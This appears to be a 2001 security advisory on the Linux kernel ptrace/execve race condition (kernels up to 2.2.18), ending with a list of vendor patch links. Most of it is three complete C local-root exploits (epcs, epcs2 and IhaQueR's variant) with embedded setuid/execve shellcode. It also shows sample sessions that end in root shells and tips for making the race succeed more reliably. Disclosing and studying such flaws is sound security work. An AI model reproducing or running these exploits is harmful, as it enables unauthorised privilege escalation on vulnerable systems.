COMMAND

    ptrace/execve (kernel)

SYSTEMS AFFECTED

    Linux

PROBLEM

    Wojciech  Purczynski  found  following.    Here  is  exploit   for
    ptrace/execve race condition  bug in Linux  kernels up to  2.2.18.
    It works even  on openwall patched  kernels (including broken  fix
    in 2.2.18ow4)  if you  use address  of BSS  section in memory (use
    objdump -h /suid/binary to get .bss section address).

    It does  not use  brute-force!   It does  only one  attemt, parent
    process detects  exact moment  of context-switch  after child goes
    sleep in execve.

    If you  have some  problems, ensure  that suid  binary you want to
    exploit  does  not  exist  in  disk  cache.   For  more  info read
    comments in the source code.

    It has been broken in two places!!

    Sample output:

        [wp@wp /tmp]$ uname -a
        Linux wp.local.elzabsoft.pl 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686
        unknown
        [wp@wp /tmp]$ objdump -h /bin/su | grep .bss
          8 .rel.bss      00000030  08048ca8  08048ca8  00000ca8  2**2
         21 .bss          000000d4  0804bf04  0804bf04  00002f04  2**2
        [wp@wp /tmp]$ find / >dev/null 2>&1
        [wp@wp /tmp]$ ./epcs /bin/su 0x0804bf04
        Bug exploited successfully.
        sh-2.03#

    It works with any suid binary.

        /*
         * epcs v2
         * ~~~~~~~
         * exploit for execve/ptrace race condition in Linux kernel up to 2.2.18
         *
         * (c) 2001 Wojciech Purczynski / cliph / <wp@elzabsoft.pl>
         *
         * This sploit does _not_ use brute force. It does not need that.
         * It does only one attemt to sploit the race condition in execve.
         * Parent process waits for a context-switch that occur after
         * child task sleep in execve.
         *
         * It should work even on openwall-patched kernels (I haven't tested it).
         *
         * Compile it:
         *	cc epcs.c -o epcs
         * Usage:
         *	./epcs [victim] [address]
         *
         * It gives instant root shell with any of a suid binaries.
         *
         * If it does not work, try use some methods to ensure that execve
         * would sleep while loading binary file into memory,
         *
         * 	i.e.: cat /usr/lib/* >/dev/null 2>&1
         *
         * Tested on RH 7.0 and RH 6.2 / 2.2.14 / 2.2.18 / 2.2.18ow4
         * This exploit does not work on 2.4.x because kernel won't set suid
         * privileges if user ptraces a binary.
         * But it is still exploitable on these kernels.
         *
         * Thanks to Bulba (he made me to take a look at this bug ;) )
         * Greetings to SigSegv team.
         *
         */

        #include <stdio.h>
        #include <fcntl.h>
        #include <sys/types.h>
        #include <signal.h>
        #include <linux/user.h>
        #include <sys/wait.h>
        #include <limits.h>
        #include <errno.h>
        #include <stdlib.h>

        #define CS_SIGNAL SIGUSR1
        #define VICTIM "/usr/bin/passwd"
        #define SHELL "/bin/sh"
        #define SHELL_LEN "\x07"		/* strlen(SHELL) in hex */
        #define SHELLCODE 0x00000000		/* address to put shellcode at */

        /*
         * This is my private shellcode.
         * Offset 0x0a - executable's filename length.
         */
        char shellcode[1024]=
	        "\xeb\xfe"
	        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"		/* setuid(0) */
	        "\x31\xc0\xb0\x2e\xcd\x80"
	        "\x31\xc0\x50\xeb\x17\x8b\x1c\x24"		/* execve(SHELL) */
	        "\x88\x43" SHELL_LEN "\x89\xe1\x8d\x54\x24"
	        "\x04\xb0\x0b\xcd\x80\x31\xc0\x89"
	        "\xc3\x40\xcd\x80\xe8\xe4\xff\xff"
	        "\xff" SHELL ;

        volatile int cs_detector=0;

        void cs_sig_handler(int sig)
        {
	        cs_detector=1;
        }

        void do_victim(char * filename)
        {
	        while (!cs_detector) ;
	        kill(getppid(), CS_SIGNAL);
	        execl(filename, filename, NULL);
	        perror("execl");
	        exit(-1);
        }

        int check_execve(pid_t victim, char * filename)
        {
	        char path[PATH_MAX+1];
	        char link[PATH_MAX+1];
	        int res;

	        snprintf(path, sizeof(path), "/proc/%i/exe", (int)victim);
	        if (readlink(path, link, sizeof(link)-1)<0) {
		        perror("readlink");
		        return -1;
	        }

	        link[sizeof(link)-1]='\0';
	        res=!strcmp(link, filename);
	        if (res) fprintf(stderr, "Child slept outside of execve\n");
	        return res;
        }

        int main(int argc, char * argv[])
        {
	        char * filename=VICTIM;
	        pid_t victim;
	        int error, i;
	        unsigned long eip=SHELLCODE;
	        struct user_regs_struct regs;

	        if (argc>1) filename=argv[1];
	        if (argc>2) eip=strtoul(argv[2], NULL, 16);

	        signal(CS_SIGNAL, cs_sig_handler);

	        victim=fork();
	        if (victim<0) {
		        perror("fork: victim");
		        exit(-1);
	        }
	        if (victim==0) do_victim(filename);

	        kill(victim, CS_SIGNAL);
	        while (!cs_detector) ;

	        if (ptrace(PTRACE_ATTACH, victim)) {
		        perror("ptrace: PTRACE_ATTACH");
		        goto exit;
	        }

	        if (check_execve(victim, filename))
		        goto exit;

	        (void)waitpid(victim, NULL, WUNTRACED);
	        if (ptrace(PTRACE_CONT, victim, 0, 0)) {
		        perror("ptrace: PTRACE_CONT");
		        goto exit;
	        }

	        (void)waitpid(victim, NULL, WUNTRACED);

	        if (ptrace(PTRACE_GETREGS, victim, 0, ®s)) {
		        perror("ptrace: PTRACE_GETREGS");
		        goto exit;
	        }

	        regs.eip=eip;

	        for (i=0; i<strlen(shellcode); i+=4) {
		        if (ptrace(PTRACE_POKEDATA, victim, regs.eip+i,
						            *(int*)(shellcode+i))) {
			        perror("ptrace: PTRACE_POKETEXT");
			        goto exit;
		        }
	        }

	        if (ptrace(PTRACE_GETREGS, victim, 0, ®s)) {
		        perror("ptrace: PTRACE_GETREGS");
		        goto exit;
	        }

	        fprintf(stderr, "Bug exploited successfully.\n");

	        if (ptrace(PTRACE_DETACH, victim, 0, 0)) {
		        perror("ptrace: PTRACE_CONT");
		        goto exit;
	        }

	        (void)waitpid(victim, NULL, 0);
	        return 0;

        exit:
	        fprintf(stderr, "Error!\n");
	        kill(victim, SIGKILL);
	        return -1;
        }

    Even with the  original exploit code  there is a  99.99% chance to
    gain root access, if you change the line:

        regs.eip=eip;

    to:

        regs.eip=regs.esp;

    and don't call  objdump on the  targetted binary before  (use only
    the binary name as argument to epcs).  At least with 'exotic' suid
    binaries like uux or gpasswd  which are *never* in the  disk cache
    you will get instant root too.

        paul@ps:/usr/home/paul/tmp2 > ./epcs /usr/bin/gpasswd
        Bug exploited successfully.
        sh-2.04# id
        uid=0(root) gid=0(root) groups=100(users)
        sh-2.04#

    Clever admins would chmod 4511 their suid binaries.

    As always, there are always ways to improve things.  This  version
    of the  exploit posted  here previously  overwrites the  dl _start
    routine and doesnt modify eip.   This will help on stack  non-exec
    systems and doesnt require you  to calculate the bss offset.   Tim
    Yardley didn't test it, but this should still work on a stackguard
    compiled program as well.

    /*
     * epcs2 (improved by lst [liquid@dqc.org])
     * ~~~~~~~
     * exploit for execve/ptrace race condition in Linux kernel up to 2.2.18
     *
     * originally by:
     * (c) 2001 Wojciech Purczynski / cliph / <wp@elzabsoft.pl>
     *
     * improved by:
     * lst [liquid@dqc.org]
     *
     * This sploit does _not_ use brute force. It does not need that.
     * It does only one attemt to sploit the race condition in execve.
     * Parent process waits for a context-switch that occur after
     * child task sleep in execve.
     *
     * It should work even on openwall-patched kernels (I haven't tested it).
     *
     * Compile it:
     *	cc epcs.c -o epcs
     * Usage:
     *	./epcs [victim]
     *
     * It gives instant root shell with any of a suid binaries.
     *
     * If it does not work, try use some methods to ensure that execve
     * would sleep while loading binary file into memory,
     *
     * 	i.e.: cat /usr/lib/* >/dev/null 2>&1
     *
     * Tested on RH 7.0 and RH 6.2 / 2.2.14 / 2.2.18 / 2.2.18ow4
     * This exploit does not work on 2.4.x because kernel won't set suid
     * privileges if user ptraces a binary.
     * But it is still exploitable on these kernels.
     *
     * Thanks to Bulba (he made me to take a look at this bug ;) )
     * Greetings to SigSegv team.
     *
     * -- d00t
     * improved by lst [liquid@dqc.org]
     * props to kevin for most of the work
     *
     * now works on stack non-exec systems with some neat trickery for the automated
     * method, ie. no need to find the bss segment via objdump
     *
     * particularly it now rewrites the code instruction sets in the
     * dynamic linker _start segment and continues execution from there.
     *
     * an aside, due to the fact that the code self-modified, it wouldnt work
     * quite correctly on a stack non-exec system without playing directly with
     * the bss segment (ie no regs.eip = regs.esp change).  this is much more
     * automated.  however, do note that the previous version did not trigger stack
     * non-exec warnings due to how it was operating.  note that the regs.eip = regs.esp
     * method will break on stack non-exec systems.
     *
     * as always.. enjoy.
     *
     */

    #include <stdio.h>
    #include <fcntl.h>
    #include <sys/types.h>
    #include <signal.h>
    #include <linux/user.h>
    #include <sys/wait.h>
    #include <limits.h>
    #include <errno.h>
    #include <stdlib.h>

    #define CS_SIGNAL SIGUSR1
    #define VICTIM "/usr/bin/passwd"
    #define SHELL "/bin/sh"

    /*
     * modified simple shell code with some trickery (hand tweaks)
     */
    char shellcode[]=
	    "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"		/* setuid(0) */
	    "\x31\xc0\xb0\x2e\xcd\x80"
	    "\x31\xc0\x50\xeb\x17\x8b\x1c\x24"		/* execve(SHELL) */
	    "\x90\x90\x90\x89\xe1\x8d\x54\x24"		/* lets be tricky */
	    "\x04\xb0\x0b\xcd\x80\x31\xc0\x89"
	    "\xc3\x40\xcd\x80\xe8\xe4\xff\xff"
	    "\xff" SHELL "\x00\x00\x00" ;			/* pad me */

    volatile int cs_detector=0;

    void cs_sig_handler(int sig)
    {
	    cs_detector=1;
    }

    void do_victim(char * filename)
    {
	    while (!cs_detector) ;
	    kill(getppid(), CS_SIGNAL);
	    execl(filename, filename, NULL);
	    perror("execl");
	    exit(-1);
    }

    int check_execve(pid_t victim, char * filename)
    {
	    char path[PATH_MAX+1];
	    char link[PATH_MAX+1];
	    int res;

	    snprintf(path, sizeof(path), "/proc/%i/exe", (int)victim);
	    if (readlink(path, link, sizeof(link)-1)<0) {
		    perror("readlink");
		    return -1;
	    }

	    link[sizeof(link)-1]='\0';
	    res=!strcmp(link, filename);
	    if (res) fprintf(stderr, "child slept outside of execve\n");
	    return res;
    }

    int main(int argc, char * argv[])
    {
	    char * filename=VICTIM;
	    pid_t victim;
	    int error, i;
	    struct user_regs_struct regs;

	    /* take our command args if you wanna play with other progs */
	    if (argc>1) filename=argv[1];

	    signal(CS_SIGNAL, cs_sig_handler);

	    victim=fork();
	    if (victim<0) {
		    perror("fork: victim");
		    exit(-1);
	    }
	    if (victim==0) do_victim(filename);

	    kill(victim, CS_SIGNAL);
	    while (!cs_detector) ;

	    if (ptrace(PTRACE_ATTACH, victim)) {
		    perror("ptrace: PTRACE_ATTACH");
		    goto exit;
	    }

	    if (check_execve(victim, filename))
		    goto exit;

	    (void)waitpid(victim, NULL, WUNTRACED);
	    if (ptrace(PTRACE_CONT, victim, 0, 0)) {
		    perror("ptrace: PTRACE_CONT");
		    goto exit;
	    }

	    (void)waitpid(victim, NULL, WUNTRACED);

	    if (ptrace(PTRACE_GETREGS, victim, 0, ®s)) {
		    perror("ptrace: PTRACE_GETREGS");
		    goto exit;
	    }

	    /* make sure that last null is in there */
	    for (i=0; i<=strlen(shellcode); i+=4) {
		    if (ptrace(PTRACE_POKETEXT, victim, regs.eip+i,
						        *(int*)(shellcode+i))) {
			    perror("ptrace: PTRACE_POKETEXT");
			    goto exit;
		    }
	    }

	    if (ptrace(PTRACE_SETREGS, victim, 0, ®s)) {
		    perror("ptrace: PTRACE_SETREGS");
		    goto exit;
	    }

	    fprintf(stderr, "bug exploited successfully.\nenjoy!\n");

	    if (ptrace(PTRACE_DETACH, victim, 0, 0)) {
		    perror("ptrace: PTRACE_DETACH");
		    goto exit;
	    }

	    (void)waitpid(victim, NULL, 0);
	    return 0;

    exit:
	    fprintf(stderr, "d0h! error!\n");
	    kill(victim, SIGKILL);
	    return -1;
    }

    As far as Paul Starzetz understands it, the race condition  exists
    between  preparing  the  bprm  structure  inside the kernel (which
    will carry  the suid/sgid  credentials) and  setting the effective
    credentials for current proccess.   While playing around with  the
    exploit, he  found that  the following  code will  do the job much
    effectivelly.  The idea is to consume as much as possible physical
    memory and leave the child  proces with async i/o and  open (close
    on exec) file descriptors. Of course, reading and writing the  big
    file will affect the file cache too.

    The code  will work  even repeatedly  on the  same suid binary (as
    far  as  tested  on  4  different  boxes,  problems encountered if
    creating the file on reiserfs...), it may iterate few times:

        paul@ps:/usr/home/paul/tmp2 > ./sig /bin/su

        Memaval: 264122368

        Wait for ./dupa1151845033.dat...     1

        SUCCESS !

        EAX:        0   EBX:        0   ECX:        0   EDX:        0
        ESI:        0   EDI:        0   EBP:        0   OAX:        b
        EFL:      246   ESP: 7ffff7b0   EIP: 7ffff7b0

        sh-2.04#

    The  "EAX:            0"  line  indicates  the successfull call to
    execve() and the value 0xb in OAX that we attached while  execve()
    was called.

    /********************************************************************************
    *										*
    *	Ptrace execve race exploit						*
    *	by IhaQueR								*
    *	basic idea by Wojciech Purczynski					*
    *	(note, it is still broken)						*
    *										*
    ********************************************************************************/





    #include <unistd.h>
    #include <sys/ptrace.h>
    #include <stdio.h>
    #include <signal.h>
    #include <sys/wait.h>
    #include <asm/ptrace.h>
    #include <sys/time.h>
    #include <sys/resource.h>
    #include <sys/user.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>



    #define SHELL "/bin/sh"
    #define SHELL_LEN "\x06"

    char shellcode[1024]=
	    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
	    "\x31\xc0\xb0\x2e\xcd\x80"
	    "\x31\xc0\x50\xeb\x17\x8b\x1c\x24"
	    "\x88\x43" SHELL_LEN "\x89\xe1\x8d\x54\x24"
	    "\x04\xb0\x0b\xcd\x80\x31\xc0\x89"
	    "\xc3\x40\xcd\x80\xe8\xe4\xff\xff"
	    "\xff" SHELL ;



    volatile int sig=0;

    volatile int parent=0;
    volatile int child=0;


    void chldstart(int v)
    {
		    sig=1;
    }


    dumpregs(volatile struct user_regs_struct* pt)
    {
		    printf("\n");
		    printf("EAX: %8x\tEBX: %8x\tECX: %8x\tEDX: %8x\n", pt->eax, pt->ebx, pt->ecx, pt->edx);
		    printf("ESI: %8x\tEDI: %8x\tEBP: %8x\tOAX: %8x\n", pt->esi, pt->edi, pt->ebp, pt->orig_eax);
		    printf("EFL: %8x\tESP: %8x\tEIP: %8x\n", pt->eflags, pt->esp, pt->eip);
		    printf("\n");
		    fflush(stdout);
    }


    main(int ac, char** av)
    {

    int res;
    volatile struct user_regs_struct pt;
    int i;
    char* buf;
    FILE* fp;
    char tmp[1024];
    char tmpfile[1024];
    unsigned memaval=0;


		    if(ac < 2) {
			    printf("\nUsage: %s <suid bin> [<mem aval>]]\n\n", av[0]);
			    exit(1);
		    }

		    if(ac > 2) {
			    memaval=atoi(av[2]);
		    }

		    setsid();
		    setpgrp();
		    srand(time(NULL));
		    sprintf(tmpfile, "./dupa%08d.dat", rand());
                    system("rm -rf dupa*.dat");

		    parent=getpid();

    //	get mem
		    if(memaval <= 0) {
			    fp = fopen("/proc/meminfo", "r");
			    if(i<0) {printf("\n"); perror("meminfo"); exit(1);}
			    fgets(tmp, 1023, fp);
			    fscanf(fp, "%s %d", tmp, &memaval);
			    fclose(fp);
		    }

		    signal(SIGUSR1, &chldstart);

		    printf("\nMemaval: %d\n", memaval);
		    printf("\nWait for %s... ", tmpfile);
		    fflush(stdout);

		    i=0;

		    while(1) {

			    i++;
			    sig=0;

			    if((child=fork())) {

				    kill(child, SIGUSR1);

				    while(!sig);

				    res = ptrace(PTRACE_ATTACH, child);

				    if(res) {
					    kill(child, SIGKILL);
					    waitpid(child, NULL, 0);
					    fprintf(stdout, " %4i ", i);
					    fflush(stdout);
					    continue;
				    }

				    waitpid(child, NULL, WUNTRACED);

				    res = ptrace(PTRACE_SYSCALL, child, 0, 0);
				    if(res) {perror("syscall"); kill(0, SIGKILL); exit(1); }
				    waitpid(child, NULL, WUNTRACED);

				    res = ptrace(PT_GETREGS, child, 0, &pt);
				    if(res) {printf("\n"); perror("getregs"); kill(0, SIGKILL); exit(1);}

				    pt.eip=pt.esp;

				    if(pt.eax) {
					    res = ptrace(PT_DETACH, child, 0, 0);
					    kill(child, SIGKILL);
					    waitpid(child, NULL, 0);
					    fprintf(stdout, " BAD EAX  ");
					    fflush(stdout);
					    continue;
				    }

				    for (i=0; i<strlen(shellcode); i+=4) {
					    if(ptrace(PTRACE_POKEDATA, child, pt.eip+i,
						        *(int*)(shellcode+i))) {
						    perror("ptrace: PTRACE_POKETEXT");
						    kill(0, SIGKILL);
						    exit(1);
					    }
				    }


				    if (ptrace(PTRACE_GETREGS, child, 0, &pt)) {
					    perror("ptrace: PTRACE_GETREGS");
					    kill(0, SIGKILL);
					    exit(1);
				    }

				    printf("\n\nSUCCESS !\n");
				    dumpregs(&pt);

				    res = ptrace(PT_DETACH, child, 0, 0);
				    if(res) {printf("\n"); perror("detach"); exit(1); }

				    waitpid(child, NULL, 0);
                                    system("rm -rf dupa*.dat");
				    kill(0, SIGUSR1);
				    kill(0, SIGKILL);
				    exit(1);

			    }
			    else {
				    res = setpriority(PRIO_PROCESS, getpid(), 20);
				    if(res) {printf("\n"); perror("priority"); exit(1); }

				    while(!sig);

				    buf=(char*)malloc(memaval);
				    if(!buf) {printf("\n"); perror("malloc"); exit(1); }
				    i=open(tmpfile, O_RDWR|O_CREAT|O_TRUNC, S_IRWXU);
				    if(i>0) {
					    write(i, buf, memaval);
					    fcntl(i, F_SETFD, 1);
					    fcntl(i, F_SETFL, O_NONBLOCK);
					    read(i, buf, memaval);
                                    }
				    (void)kill(parent, SIGUSR1);
				    (void)execl(av[1], av[1],  "--blah", NULL);
			    }

		    }

		    printf("\n");
		    kill(0, SIGUSR1);
    }

SOLUTION

    For Immunix OS:

        http://immunix.org/ImmunixOS/6.2/updates/RPMS/kernel-2.2.19-3_6.x_imnx.i386.rpm
        http://immunix.org/ImmunixOS/6.2/updates/RPMS/kernel-2.2.19-3_6.x_imnx.i586.rpm
        http://immunix.org/ImmunixOS/6.2/updates/RPMS/kernel-2.2.19-3_6.x_imnx.i686.rpm
        http://immunix.org/ImmunixOS/6.2/updates/RPMS/kernel-BOOT-2.2.19-3_6.x_imnx.i386.rpm
        http://immunix.org/ImmunixOS/6.2/updates/RPMS/kernel-doc-2.2.19-3_6.x_imnx.i386.rpm
        http://immunix.org/ImmunixOS/6.2/updates/RPMS/kernel-pcmcia-cs-2.2.19-3_6.x_imnx.i386.rpm
        http://immunix.org/ImmunixOS/6.2/updates/RPMS/kernel-smp-2.2.19-3_6.x_imnx.i386.rpm
        http://immunix.org/ImmunixOS/6.2/updates/RPMS/kernel-smp-2.2.19-3_6.x_imnx.i586.rpm
        http://immunix.org/ImmunixOS/6.2/updates/RPMS/kernel-smp-2.2.19-3_6.x_imnx.i686.rpm
        http://immunix.org/ImmunixOS/6.2/updates/RPMS/kernel-source-2.2.19-3_6.x_imnx.i386.rpm
        http://immunix.org/ImmunixOS/6.2/updates/RPMS/kernel-utils-2.2.19-3_6.x_imnx.i386.rpm
        http://immunix.org/ImmunixOS/6.2/updates/SRPMS/kernel-2.2.19-3_6.x_imnx.src.rpm
        http://immunix.org/ImmunixOS/7.0/updates/RPMS/kernel-2.2.19-3_imnx.i386.rpm
        http://immunix.org/ImmunixOS/7.0/updates/RPMS/kernel-2.2.19-3_imnx.i586.rpm
        http://immunix.org/ImmunixOS/7.0/updates/RPMS/kernel-2.2.19-3_imnx.i686.rpm
        http://immunix.org/ImmunixOS/7.0/updates/RPMS/kernel-BOOT-2.2.19-3_imnx.i386.rpm
        http://immunix.org/ImmunixOS/7.0/updates/RPMS/kernel-doc-2.2.19-3_imnx.i386.rpm
        http://immunix.org/ImmunixOS/7.0/updates/RPMS/kernel-pcmcia-cs-2.2.19-3_imnx.i386.rpm
        http://immunix.org/ImmunixOS/7.0/updates/RPMS/kernel-smp-2.2.19-3_imnx.i386.rpm
        http://immunix.org/ImmunixOS/7.0/updates/RPMS/kernel-smp-2.2.19-3_imnx.i586.rpm
        http://immunix.org/ImmunixOS/7.0/updates/RPMS/kernel-smp-2.2.19-3_imnx.i686.rpm
        http://immunix.org/ImmunixOS/7.0/updates/RPMS/kernel-source-2.2.19-3_imnx.i386.rpm
        http://immunix.org/ImmunixOS/7.0/updates/RPMS/kernel-utils-2.2.19-3_imnx.i386.rpm
        http://immunix.org/ImmunixOS/7.0/updates/SRPMS/kernel-2.2.19-3_imnx.src.rpm

    For Trustix Secure Linux:

        http://www.trustix.net/pub/Trustix/updates/
        ftp://ftp.trustix.net/pub/Trustix/updates/

    For Progeny Linux Systems:

        http://archive.progeny.com/progeny/updates/newton/kernel-image-2.2.19_1.81_i386.deb

    For RedHat:

        ftp://updates.redhat.com/6.2/en/os/SRPMS/nfs-utils-0.3.1-0.6.x.src.rpm
        ftp://updates.redhat.com/6.2/en/os/SRPMS/mount-2.10r-0.6.x.src.rpm
        ftp://updates.redhat.com/6.2/en/os/SRPMS/kernel-2.2.19-6.2.1.src.rpm
        ftp://updates.redhat.com/6.2/en/os/alpha/nfs-utils-0.3.1-0.6.x.alpha.rpm
        ftp://updates.redhat.com/6.2/en/os/alpha/mount-2.10r-0.6.x.alpha.rpm
        ftp://updates.redhat.com/6.2/en/os/alpha/losetup-2.10r-0.6.x.alpha.rpm
        ftp://updates.redhat.com/6.2/en/os/alpha/kernel-2.2.19-6.2.1.alpha.rpm
        ftp://updates.redhat.com/6.2/en/os/alpha/kernel-BOOT-2.2.19-6.2.1.alpha.rpm
        ftp://updates.redhat.com/6.2/en/os/alpha/kernel-doc-2.2.19-6.2.1.alpha.rpm
        ftp://updates.redhat.com/6.2/en/os/alpha/kernel-headers-2.2.19-6.2.1.alpha.rpm
        ftp://updates.redhat.com/6.2/en/os/alpha/kernel-smp-2.2.19-6.2.1.alpha.rpm
        ftp://updates.redhat.com/6.2/en/os/alpha/kernel-source-2.2.19-6.2.1.alpha.rpm
        ftp://updates.redhat.com/6.2/en/os/alpha/kernel-utils-2.2.19-6.2.1.alpha.rpm
        ftp://updates.redhat.com/6.2/en/os/alpha/kernel-enterprise-2.2.19-6.2.1.alpha.rpm
        ftp://updates.redhat.com/6.2/en/os/i386/nfs-utils-0.3.1-0.6.x.i386.rpm
        ftp://updates.redhat.com/6.2/en/os/i386/mount-2.10r-0.6.x.i386.rpm
        ftp://updates.redhat.com/6.2/en/os/i386/losetup-2.10r-0.6.x.i386.rpm
        ftp://updates.redhat.com/6.2/en/os/i386/kernel-2.2.19-6.2.1.i386.rpm
        ftp://updates.redhat.com/6.2/en/os/i386/kernel-BOOT-2.2.19-6.2.1.i386.rpm
        ftp://updates.redhat.com/6.2/en/os/i386/kernel-doc-2.2.19-6.2.1.i386.rpm
        ftp://updates.redhat.com/6.2/en/os/i386/kernel-headers-2.2.19-6.2.1.i386.rpm
        ftp://updates.redhat.com/6.2/en/os/i386/kernel-ibcs-2.2.19-6.2.1.i386.rpm
        ftp://updates.redhat.com/6.2/en/os/i386/kernel-pcmcia-cs-2.2.19-6.2.1.i386.rpm
        ftp://updates.redhat.com/6.2/en/os/i386/kernel-smp-2.2.19-6.2.1.i386.rpm
        ftp://updates.redhat.com/6.2/en/os/i386/kernel-source-2.2.19-6.2.1.i386.rpm
        ftp://updates.redhat.com/6.2/en/os/i386/kernel-utils-2.2.19-6.2.1.i386.rpm
        ftp://updates.redhat.com/6.2/en/os/i586/kernel-2.2.19-6.2.1.i586.rpm
        ftp://updates.redhat.com/6.2/en/os/i586/kernel-smp-2.2.19-6.2.1.i586.rpm
        ftp://updates.redhat.com/6.2/en/os/i686/kernel-2.2.19-6.2.1.i686.rpm
        ftp://updates.redhat.com/6.2/en/os/i686/kernel-smp-2.2.19-6.2.1.i686.rpm
        ftp://updates.redhat.com/6.2/en/os/i686/kernel-enterprise-2.2.19-6.2.1.i686.rpm
        ftp://updates.redhat.com/6.2/en/os/sparc/nfs-utils-0.3.1-0.6.x.sparc.rpm
        ftp://updates.redhat.com/6.2/en/os/sparc/mount-2.10r-0.6.x.sparc.rpm
        ftp://updates.redhat.com/6.2/en/os/sparc/losetup-2.10r-0.6.x.sparc.rpm
        ftp://updates.redhat.com/6.2/en/os/sparc/kernel-2.2.19-6.2.1.sparc.rpm
        ftp://updates.redhat.com/6.2/en/os/sparc/kernel-2.2.19-6.2.1.sparc.rpm
        ftp://updates.redhat.com/6.2/en/os/sparc/kernel-BOOT-2.2.19-6.2.1.sparc.rpm
        ftp://updates.redhat.com/6.2/en/os/sparc/kernel-BOOT-2.2.19-6.2.1.sparc.rpm
        ftp://updates.redhat.com/6.2/en/os/sparc/kernel-doc-2.2.19-6.2.1.sparc.rpm
        ftp://updates.redhat.com/6.2/en/os/sparc/kernel-headers-2.2.19-6.2.1.sparc.rpm
        ftp://updates.redhat.com/6.2/en/os/sparc/kernel-smp-2.2.19-6.2.1.sparc.rpm
        ftp://updates.redhat.com/6.2/en/os/sparc/kernel-smp-2.2.19-6.2.1.sparc.rpm
        ftp://updates.redhat.com/6.2/en/os/sparc/kernel-source-2.2.19-6.2.1.sparc.rpm
        ftp://updates.redhat.com/6.2/en/os/sparc/kernel-utils-2.2.19-6.2.1.sparc.rpm
        ftp://updates.redhat.com/6.2/en/os/sparc/kernel-enterprise-2.2.19-6.2.1.sparc.rpm
        ftp://updates.redhat.com/6.2/en/os/sparc/kernel-enterprise-2.2.19-6.2.1.sparc.rpm
        ftp://updates.redhat.com/6.2/en/os/sparc64/kernel-2.2.19-6.2.1.sparc64.rpm
        ftp://updates.redhat.com/6.2/en/os/sparc64/kernel-BOOT-2.2.19-6.2.1.sparc64.rpm
        ftp://updates.redhat.com/6.2/en/os/sparc64/kernel-smp-2.2.19-6.2.1.sparc64.rpm
        ftp://updates.redhat.com/6.2/en/os/sparc64/kernel-enterprise-2.2.19-6.2.1.sparc64.rpm
        ftp://updates.redhat.com/7.0/en/os/SRPMS/nfs-utils-0.3.1-6.src.rpm
        ftp://updates.redhat.com/7.0/en/os/SRPMS/mount-2.10r-5.src.rpm
        ftp://updates.redhat.com/7.0/en/os/SRPMS/kernel-2.2.19-7.0.1.src.rpm
        ftp://updates.redhat.com/7.0/en/os/alpha/nfs-utils-0.3.1-6.alpha.rpm
        ftp://updates.redhat.com/7.0/en/os/alpha/mount-2.10r-5.alpha.rpm
        ftp://updates.redhat.com/7.0/en/os/alpha/losetup-2.10r-5.alpha.rpm
        ftp://updates.redhat.com/7.0/en/os/alpha/kernel-2.2.19-7.0.1.alpha.rpm
        ftp://updates.redhat.com/7.0/en/os/alpha/kernel-BOOT-2.2.19-7.0.1.alpha.rpm
        ftp://updates.redhat.com/7.0/en/os/alpha/kernel-doc-2.2.19-7.0.1.alpha.rpm
        ftp://updates.redhat.com/7.0/en/os/alpha/kernel-smp-2.2.19-7.0.1.alpha.rpm
        ftp://updates.redhat.com/7.0/en/os/alpha/kernel-utils-2.2.19-7.0.1.alpha.rpm
        ftp://updates.redhat.com/7.0/en/os/alpha/kernel-enterprise-2.2.19-7.0.1.alpha.rpm
        ftp://updates.redhat.com/7.0/en/os/i386/nfs-utils-0.3.1-6.i386.rpm
        ftp://updates.redhat.com/7.0/en/os/i386/mount-2.10r-5.i386.rpm
        ftp://updates.redhat.com/7.0/en/os/i386/losetup-2.10r-5.i386.rpm
        ftp://updates.redhat.com/7.0/en/os/i386/kernel-2.2.19-7.0.1.i386.rpm
        ftp://updates.redhat.com/7.0/en/os/i386/kernel-BOOT-2.2.19-7.0.1.i386.rpm
        ftp://updates.redhat.com/7.0/en/os/i386/kernel-doc-2.2.19-7.0.1.i386.rpm
        ftp://updates.redhat.com/7.0/en/os/i386/kernel-ibcs-2.2.19-7.0.1.i386.rpm
        ftp://updates.redhat.com/7.0/en/os/i386/kernel-pcmcia-cs-2.2.19-7.0.1.i386.rpm
        ftp://updates.redhat.com/7.0/en/os/i386/kernel-smp-2.2.19-7.0.1.i386.rpm
        ftp://updates.redhat.com/7.0/en/os/i386/kernel-utils-2.2.19-7.0.1.i386.rpm
        ftp://updates.redhat.com/7.0/en/os/i586/kernel-2.2.19-7.0.1.i586.rpm
        ftp://updates.redhat.com/7.0/en/os/i586/kernel-smp-2.2.19-7.0.1.i586.rpm
        ftp://updates.redhat.com/7.0/en/os/i686/kernel-2.2.19-7.0.1.i686.rpm
        ftp://updates.redhat.com/7.0/en/os/i686/kernel-smp-2.2.19-7.0.1.i686.rpm
        ftp://updates.redhat.com/7.0/en/os/i686/kernel-enterprise-2.2.19-7.0.1.i686.rpm